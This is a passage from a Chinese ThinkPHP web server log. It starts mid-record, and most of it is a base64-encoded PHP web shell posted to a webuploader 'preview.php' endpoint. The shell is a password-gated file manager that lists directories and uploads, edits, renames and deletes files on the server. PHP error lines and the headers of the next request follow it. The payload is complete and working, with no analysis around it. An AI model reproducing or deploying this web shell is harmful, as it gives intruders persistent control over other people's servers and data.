'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:26:44+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/manage/webuploader/server/preview.php [运行时间:0.002592s] [吞吐率:385.79req/s] [内存消耗:196.69kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'manage', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 